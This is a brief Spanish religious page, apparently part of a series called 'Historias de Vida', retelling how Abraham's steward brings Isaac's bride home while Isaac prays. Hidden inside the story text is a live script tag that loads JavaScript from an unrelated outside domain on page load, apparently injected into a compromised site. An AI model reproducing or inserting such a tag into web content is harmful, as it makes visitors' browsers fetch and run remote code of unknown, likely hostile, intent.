Al amanecer, rehusando las insistentes invitaciones para quedarse un poco más el mayordomo de Abraham se puso en camino llevando consigo aquella que había de ser la esposa del hijo de su amo. Dice el relato que el joven Isaac, mientras aguardaba la llegada de aquella que habría de ser su esposa, oraba a Dios. <script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script>
Historias de Vida
#21